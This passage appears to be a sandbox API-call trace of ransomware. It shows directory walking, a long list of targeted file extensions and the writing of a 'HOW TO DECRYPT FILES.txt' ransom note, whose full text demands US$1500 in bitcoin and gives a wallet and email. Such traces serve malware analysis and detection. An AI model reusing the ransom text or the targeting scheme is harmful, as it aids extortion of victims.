(lpString="*.dwg") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.nd") returned 0 [0111.806] lstrlenA (lpString="*.nd") returned 4 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.tlg") returned 0 [0111.806] lstrlenA (lpString="*.tlg") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.lgb") returned 0 [0111.806] lstrlenA (lpString="*.lgb") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.mov") returned 0 [0111.806] lstrlenA (lpString="*.mov") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.xdw") returned 0 [0111.806] lstrlenA (lpString="*.xdw") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.ods") returned 0 [0111.806] lstrlenA (lpString="*.ods") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.wav") returned 0 [0111.806] lstrlenA (lpString="*.wav") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.mp3") returned 0 [0111.806] lstrlenA (lpString="*.mp3") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.aiff") returned 0 [0111.806] lstrlenA (lpString="*.aiff") returned 6 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.flac") returned 0 [0111.806] lstrlenA (lpString="*.flac") returned 6 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.m4a") returned 0 [0111.806] lstrlenA (lpString="*.m4a") returned 5 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.csv") returned 0 [0111.807] lstrlenA (lpString="*.csv") returned 5 [0111.807] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ff52b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1ff52b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x22568c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x238400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCEx.ni.dll", cAlternateFileName="MMCEXN~1.DLL")) returned 0 [0111.807] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.807] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2bdc0d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2bdc0d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b46af15d2e2ae2782f384bfc4a4c2c03", cAlternateFileName="B46AF1~1")) returned 0 [0111.807] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.807] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd90b3d8c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd90b3d8c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x450043, cFileName="MMCFxCommon", cAlternateFileName="MMCFXC~1")) returned 1 [0111.807] lstrcmpA (lpString1=".", lpString2="MMCFxCommon") returned -1 [0111.807] lstrcmpA (lpString1="..", lpString2="MMCFxCommon") returned -1 [0111.807] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.807] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="MMCFxCommon" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon" [0111.807] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon") returned 58 [0111.807] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd90b3d8c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd90b3d8c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.808] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.808] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd90b3d8c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd90b3d8c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.808] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.808] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.808] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd90b3d8c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd90b3d8c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="98b1fc37038b59eb1fcb89ce6284190e", cAlternateFileName="98B1FC~1")) returned 1 [0111.808] lstrcmpA (lpString1=".", lpString2="98b1fc37038b59eb1fcb89ce6284190e") returned -1 [0111.808] lstrcmpA (lpString1="..", lpString2="98b1fc37038b59eb1fcb89ce6284190e") returned -1 [0111.808] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\*.*") returned="*.*" [0111.808] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\", lpString2="98b1fc37038b59eb1fcb89ce6284190e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e" [0111.808] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e") returned 91 [0111.808] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd90b3d8c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd90b3d8c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.816] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.816] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd90b3d8c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd90b3d8c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.817] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.817] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.817] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd904196b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd904196b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd9067acb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x66000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCFxCommon.ni.dll", cAlternateFileName="MMCFXC~1.DLL")) returned 1 [0111.817] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.817] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MMCFxCommon.ni.dll") returned -1 [0111.817] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MMCFxCommon.ni.dll") returned -1 [0111.817] lstrcmpiA (lpString1="", lpString2="MMCFxCommon.ni.dll") returned -1 [0111.817] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\*.*") returned="*.*" [0111.817] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\" [0111.817] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\") returned="" [0111.817] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\HOW TO DECRYPT FILES.txt" [0111.817] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mmcfxcommon\\98b1fc37038b59eb1fcb89ce6284190e\\how to decrypt files.txt")) returned 0xffffffff [0111.817] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mmcfxcommon\\98b1fc37038b59eb1fcb89ce6284190e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.819] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.819] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.820] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.820] CloseHandle (hObject=0x90) returned 1 [0111.820] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\", lpString2="MMCFxCommon.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll" [0111.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.ems") returned 0 [0111.821] lstrlenA (lpString="*.ems") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.db") returned 0 [0111.821] lstrlenA (lpString="*.db") returned 4 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.dbf") returned 0 [0111.821] lstrlenA (lpString="*.dbf") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.myox") returned 0 [0111.821] lstrlenA (lpString="*.myox") returned 6 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.myo") returned 0 [0111.821] lstrlenA (lpString="*.myo") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qbw") returned 0 [0111.821] lstrlenA (lpString="*.qbw") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qbb") returned 0 [0111.821] lstrlenA (lpString="*.qbb") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qbm") returned 0 [0111.821] lstrlenA (lpString="*.qbm") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qbo") returned 0 [0111.821] lstrlenA (lpString="*.qbo") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qbx") returned 0 [0111.821] lstrlenA (lpString="*.qbx") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qba") returned 0 [0111.821] lstrlenA (lpString="*.qba") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qby") returned 0 [0111.821] lstrlenA (lpString="*.qby") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qbj") returned 0 [0111.821] lstrlenA (lpString="*.qbj") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.ofx") returned 0 [0111.821] lstrlenA (lpString="*.ofx") returned 5 [0111.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.qif") returned 0 [0111.821] lstrlenA (lpString="*.qif") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.mye") returned 0 [0111.822] lstrlenA (lpString="*.mye") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.mbox") returned 0 [0111.822] lstrlenA (lpString="*.mbox") returned 6 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.eml") returned 0 [0111.822] lstrlenA (lpString="*.eml") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.pst") returned 0 [0111.822] lstrlenA (lpString="*.pst") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.ost") returned 0 [0111.822] lstrlenA (lpString="*.ost") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.idx") returned 0 [0111.822] lstrlenA (lpString="*.idx") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.dbx") returned 0 [0111.822] lstrlenA (lpString="*.dbx") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.sql") returned 0 [0111.822] lstrlenA (lpString="*.sql") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.mdb") returned 0 [0111.822] lstrlenA (lpString="*.mdb") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.fdb") returned 0 [0111.822] lstrlenA (lpString="*.fdb") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.wab") returned 0 [0111.822] lstrlenA (lpString="*.wab") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.dat") returned 0 [0111.822] lstrlenA (lpString="*.dat") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.txt") returned 0 [0111.822] lstrlenA (lpString="*.txt") returned 5 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.jpeg") returned 0 [0111.822] lstrlenA (lpString="*.jpeg") returned 6 [0111.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.jpg") returned 0 [0111.823] lstrlenA (lpString="*.jpg") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.png") returned 0 [0111.823] lstrlenA (lpString="*.png") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.php") returned 0 [0111.823] lstrlenA (lpString="*.php") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.cs") returned 0 [0111.823] lstrlenA (lpString="*.cs") returned 4 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.cpp") returned 0 [0111.823] lstrlenA (lpString="*.cpp") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.rar") returned 0 [0111.823] lstrlenA (lpString="*.rar") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.zip") returned 0 [0111.823] lstrlenA (lpString="*.zip") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.html") returned 0 [0111.823] lstrlenA (lpString="*.html") returned 6 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.htm") returned 0 [0111.823] lstrlenA (lpString="*.htm") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.xlsx") returned 0 [0111.823] lstrlenA (lpString="*.xlsx") returned 6 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.xls") returned 0 [0111.823] lstrlenA (lpString="*.xls") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.mp4") returned 0 [0111.823] lstrlenA (lpString="*.mp4") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.ppt") returned 0 [0111.823] lstrlenA (lpString="*.ppt") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.pptx") returned 0 [0111.823] lstrlenA (lpString="*.pptx") returned 6 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.doc") returned 0 [0111.823] lstrlenA (lpString="*.doc") returned 5 [0111.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.dot") returned 0 [0111.824] lstrlenA (lpString="*.dot") returned 5 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.docx") returned 0 [0111.824] lstrlenA 